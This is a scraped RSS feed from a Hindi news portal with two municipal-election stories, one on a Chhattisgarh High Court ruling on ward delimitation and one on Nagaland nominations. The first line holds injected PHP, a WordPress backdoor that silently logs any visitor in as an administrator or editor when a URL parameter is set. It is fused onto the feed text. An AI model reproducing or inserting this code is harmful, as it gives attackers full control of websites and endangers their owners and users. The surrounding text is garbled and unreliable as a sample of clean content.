// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); municipal elections – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 23 Oct 2024 13:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 छत्तीसगढ़-निकाय चुनाव से पहले होगा वार्ड परिसीमन, हाईकोर्ट ने सभी याचिकाएं कीं खारिज https://pratyushaashakinayikiran.com/?p=88929 Wed, 23 Oct 2024 13:45:00 +0000 https://pratyushaashakinayikiran.com/?p=88929 बिलासपुर.

वार्ड परिसीमन के खिलाफ दायर सभी याचिकाओं को हाईकोर्ट ने खारिज कर दिया है। कोर्ट ने याचिकाओं को आधारहीन पाया। इस फैसले के साथ ही निकाय चुनाव से पहले वार्ड परिसीमन का रास्ता साफ हो गया है। बता दें कि कोर्ट ने इससे पहले बिलासपुर और राजनांदगांव नगर निगम के साथ ही तखतपुर, कुम्हारी और बेमेतरा नगर पालिका में होने वाले वार्डों के परिसीमन पर रोक लगा दी थी। मामले की सुनवाई जस्टिस पीपी साहू की सिंगल बेंच में हुई, कोर्ट से आये फैसले के बाद राज्य सरकार को बड़ी राहत मिली है।

बिलासपुर सहित प्रदेश के अन्य नगरीय निकायों में वार्डों के परिसीमन को लेकर अलग अलग 50 से अधिक याचिकाएं हाईकोर्ट में लगाई गई थीं।  इसमें से 7 याचिकाओं पर हाईकोर्ट ने स्टे देते हुए परिसीमन पर रोक लगा दी थी। पिछली सुनवाई में 13 याचिकाओं पर अंतिम सुनवाई के बाद हाईकोर्ट ने मंगलवार को फैसला देते हुए सभी को खारिज कर दिया है। परिसीमन के खिलाफ दायर याचिकाओं पर याचिकाकर्ताओं का कहना था कि राज्य सरकार ने प्रदेश भर के निकायों के वार्ड परिसीमन के लिए जो आदेश जारी किया है, उसमें वर्ष 2011 की जनगणना को आधार माना गया है। याचिका में कहा गया कि राज्य सरकार ने इसके पहले वर्ष 2014 और 2019 में भी वर्ष 2011 की जनगणना के आधार पर परिसीमन का कार्य किया है। जब आधार एक ही है तो इस बार क्यों परिसीमन कराया जा रहा है। यह याचिका बिलासपुर में पूर्व कांग्रेसी विधायक शैलेश पांडेय और कांग्रेस के चार ब्लॉक अध्यक्ष विनोद साहू, मोती थारवानी, जावेद मेमन, अरविंद शुक्ला ने तो तखतपुर से टेकचंद कारड़ा ने दायर की थी। मामले की सुनवाई दौरान राज्य सरकार की ओर से कहा गया कि जनसंख्या के आधार पर पहले भी परिसीमन किया गया है। कभी भी कोई आपत्ति नहीं आई। इस बार जान बूझकर ऐसा किया जा रहा है ताकि प्रक्रिया को प्रभावित किया जा सके। इस पर कोर्ट ने पूछा कि वर्ष 2011 की जनगणना को वर्तमान परिदृश्य में आदर्श कैसे मानेंगे? दो बार परिसीमन कर लिया गया है तो तीसरी बार परिसीमन क्यों किया जा रहा है? इस पर सरकार की ओर से कहा गया कि परिसीमन से पहले पूरी प्रक्रिया और नियमों का पालन किया गया है। जनसंख्या के आधार पर परिसीमन के लिए पहले नोटिस जारी किया गया। आपत्तियों का निराकरण भी किया गया। कोर्ट ने सरकार की बात को स्वीकार करते हुए परिसीमन के खिलाफ दायर सभी याचिकाओं को खारिज कर दिया है।

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नगालैंड: नगर निकाय चुनाव के लिए 669 उम्मीदवारों ने नामांकन पत्र दाखिल किये https://pratyushaashakinayikiran.com/?p=40787 Thu, 13 Jun 2024 09:46:00 +0000 https://pratyushaashakinayikiran.com/?p=40787 कोहिमा

 नगालैंड में 26 जून को होने वाले शहरी स्थानीय निकायों (यूएलबी) के चुनाव के लिए कुल 669 उम्मीदवारों ने नामांकन पत्र दाखिल किये हैं।राज्य निर्वाचन आयोग के अनुसार, 238 महिलाओं सहित 669 उम्मीदवारों ने तीन नगर पालिका परिषदों और 36 नगर परिषदों के लिए अपने नामांकन पत्र दाखिल किए। मंगलवार को नामांकन दाखिल करने का आखिरी दिन था।

आयोग ने बताया कि नामांकन पत्रों की जांच आज बृहस्पतिवार को की जाएगी और 18 जून को नाम वापस लेने की आखिरी तिथि है।

राज्य में 20 साल बाद शहरी स्थानीय निकाय चुनाव होने जा रहे हैं। यह चुनाव इसलिए भी ऐतिहासिक है क्योंकि यह राज्य में पहला ऐसा नगरपालिका चुनाव होगा जिसमें महिलाओं के लिए 33 प्रतिशत आरक्षण है।

अधिकारियों ने बताया कि पूर्वी नगालैंड पीपुल्स ऑर्गनाइजेशन (ईएनपीओ) के चुनाव से दूर रहने के आह्वान को दरकिनार करते हुए सत्तारूढ़ नेशनलिस्ट डेमोक्रेटिक प्रोग्रेसिव पार्टी (एनडीपीपी) और भारतीय जनता पार्टी (भाजपा) के कई उम्मीदवारों ने नामांकन पत्र दाखिल किए हैं।

राज्य के छह पूर्वी जिलों में रहने वाली सात नगा जनजातियों का शीर्ष संगठन ईएनपीओ ‘सीमांत नगालैंड क्षेत्र’ की मांग कर रहा है। संगठन का दावा है कि इस क्षेत्र की वर्षों से उपेक्षा की गई है।

शहरी स्थानीय निकायों के चुनाव के लिए मतगणना 29 जून को होगी।

 

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